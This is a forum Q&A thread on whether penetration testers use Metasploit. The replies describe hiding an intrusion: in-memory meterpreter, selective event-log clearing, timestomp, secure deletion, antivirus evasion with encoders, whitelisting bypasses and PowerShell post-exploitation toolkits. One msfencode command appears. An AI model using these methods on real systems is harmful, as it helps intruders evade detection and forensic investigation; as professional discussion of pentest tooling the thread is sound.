Do actual penetration testers actually use tools like metasploit?

Question

I've played around with metasploit simply as a hobby but am wondering if actual pentesters and/or hackers actually use metasploit to get into systems or do they write their own post exploitation modules or their own programs entirely?

Reason I ask is because metasploit does not seem to be able to selectively clear windows event logs and such, or perhaps I just couldn't find it.(the nearest I can find is clearev but that simply wipes out everything which isn't very sneaky) Besides, even if it is able to selectively clear the event logs there will be places like the prefetch queue in ring 0 where forensics will be able to find what I did from the system image...

Answer 1

As far as forensics is concerned, Metasploit have payloads which are specifically designed to make the work of forensic analysis more difficult. For example, the most famous payload which is selected by default with a lot of exploit modules is the meterpreter payload. It completely runs in-memory and don't touch the disk for any operations (unless specifically asked by the user). Which means there will be no evidence in the prefetch folder or any other place on the disk.

You don't have to clear all the event logs. You can selective clear any event log you want through the meterpreter script event_manager.

Meterpreter has a tool called timestomp which can change the modification, access, creation, and execution time of any file on the hard disk to any arbitrary value. You can securely wipe out any file with the sdel (safe delete) module which not only securely wipe the file contents but rename the file to a long random string before the deletion which makes the forensic recovery of not only the contents but the file meta data very difficult as well.

Now comes to your second part of the use of Metasploit by actual malicious attackers in real world attacks. There have been reports that Metasploit was used in one of the attacks on the Iranian nuclear facility. The reason you don't see Metasploit more often is due the open source nature of the product. Since the exploits and payloads are available to everyone, by default every security product such as antivirus, IDS/IPS etc consider these files as malicious. The defense industry has gone to an extent that even if one create a completely benign file with Metasploit, it will be detected by almost all the AV solutions. Generate an empty payload like:

echo -n | msfencode -e generic/none -t exe > myn.exe

Upload it to VirusTotal and you will see that more than half of the AV solutions detect it as malicious. More details can be found on the Matt Weeks' blog here.

With this behavior no attacker will risk using Metasploit for actual attacks due to the very high detection rate. The modules can be easily customized and bypassing AV and other security controls through Metasploit is quite easy as well. However, at that point it is difficult to determine if the payload is written from the scratch or the Metasploit module has been modified. Therefore, it is difficult to say for sure how many attackers have used or continue to use Metasploit in their operations.

Answer 2

I don't know about malicious attackers/hackers, but I do know several pentesters (myself included) that include Metasploit in their toolboxes. It's by far not the only tool used, but it certainly has its uses. That being said, your question seems to be about "covering your tracks" which is naturally something more useful to the malicious attacker. On my pentest engagements, we rarely tamper with logs, except when detecting log tampering is one of the "blue team" goals. (Then we do it to see if it gets detected.)

Answer 3

Yes, pentesters do use Metasploit. With custom exe templates and shikata_ga_nai, you are able to fool nearly every AV solution (Google for AV evasion to learn more about this) and the meterpreter payload is really handy to escalate privileges in Windows domains.

That being said, Metasploit is only one tool of many and a good pentester should know and use the right tool for the right task.

Clearing specific entries out of the event log might come in handy for a pentest when the goal is to be undetected and fool SIEM systems. However, just because this feature is missing from Metasploit (as of now) does not mean that you cannot use all the useful modules that are already there.

Regarding custom toolkits, I would imagine that it would be more effective to fork Metasploit or to simple just write your own post-exploitation modules (like selective event log deletion).

That's the beauty of open source software.

Answer 4

There are advantages to using Immunity Security or CoreSec products over Rapid7 (whether the commercial Metasploit offerings or the FOSS MetaSploit Framework aka MSF). You'll have to test them out for yourself, but it mostly has to do with being able to run canned exploits and organize plans/results. As far as I understand it, all MSF exploits can be run from Core IMPACT. Metasploit isn't going anywhere anytime soon, though, and can be used along with any other tools. Let me see if I can address some of its weaknesses first.

In terms of the payload, MSF's capabilities including meterpreter leave a lot to be desired. Most MSF payloads are easy to spot by AV and HIPS of many kinds. The default payload executable implements many common Windowsisms that I dislike it using, such as standard W32 library calls and dependencies. INNUENDO (and the earlier MOSDEF) from ImmSec is better, but MOSDEF has also seen a few fingerprints recently. App whitelisting is another concern for any implant-backdoor technology, but here is a bypass that leverages parts of MSF. Here is another that leverages Powershell. Many professionals avoid the default executable and use the generate -t flag (or via msfvenom) to drop psh (Powershell), dll (for AppInit registry injection), or another uncommon format.

While MSF is partially embedded in Cobalt Strike's Beacon, the capabilities go way beyond what Meterpreter can do alone. Highly recommended!

Also, I've heard of others using tools such as Throwback for its simplicity. It's good to have alternatives. Another one I found is ClickOnce.

MSF itself even appears to be going a new route when attacking modern Windows (Win7 and higher, Win Server 2k8r2 or higher) through Powershell with web_delivery. An attacker can build on this framework to inject a lot more Powershell action for post-exploitation tasks, such as:

• https://github.com/mattifestation/PowerSploit -- more info -- more info
• https://github.com/Veil-Framework/PowerTools -- Veil also has its own payload-delivery system, Veil-Catapult, as well as many other facets
• https://github.com/samratashok/nishang
• https://github.com/clymb3r/PowerShell
• https://github.com/PyroTek3/PowerShell-AD-Recon
• https://github.com/leechristensen/UnmanagedPowerShell
• https://github.com/trustedsec/unicorn (and more with TokenHunter and PasswordHunter)
• https://github.com/roo7break/PowerShell-Scripts
• https://github.com/nullbind/Powershellery
• https://github.com/enigma0x3?tab=repositories

The MSF module, web_delivery, can also deliver a Python or PHP payload and may possibly be modified to support other interpreters such as Ruby. If you want to put it all together for a deeper understanding of "why Powershell over MSF", see this blog post -- http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-version.html

An extra worry for Powershell is when running up against Device Guard in Windows 10.

[UPDATE] According to one of the comments below, Metasploit Pro can utilize stronger payloads which are also being integrated into the open-source version of MSF. If you have Metasploit Pro, check the auxiliary/pro module improvements, such as generate_dynamic_stager. If not, read about the stageless meterpreter payloads.

Tools that use TCP (along with DNS) can be proxied through Meterpreter easily by using the msfconsole route command, proxychains, and the socks4a server module. After a session is created, setup a route to its network (or even localhost, as seen in the first link in this paragraph) through its session id. Then, run the socks4a module and pass its configuration to the proxychains.conf file. Even DNS should pass through appropriately. There is likely more than one way to run external tools through Metasploit. Like Ruby (and Perl before it), Metasploit is a framework where "there's more than one way to do it". It is up to you, as a developer, to integrate your ideas. Using the power of open-source software, contribute your changes and join in on the community.

Answer 5

Yes, Metasploit is very commonly used by industry professionals.

See for example this link.

Answer 6

Yes, I do use Metasploit to exploit a known vulnerabilities which has exploit written in Metasploit. In my case, we exploited using Metasploit just to prove the risk of the vulnerability. Show the risk to the client. So basically, the client knows when we want to exploit this vulnerability.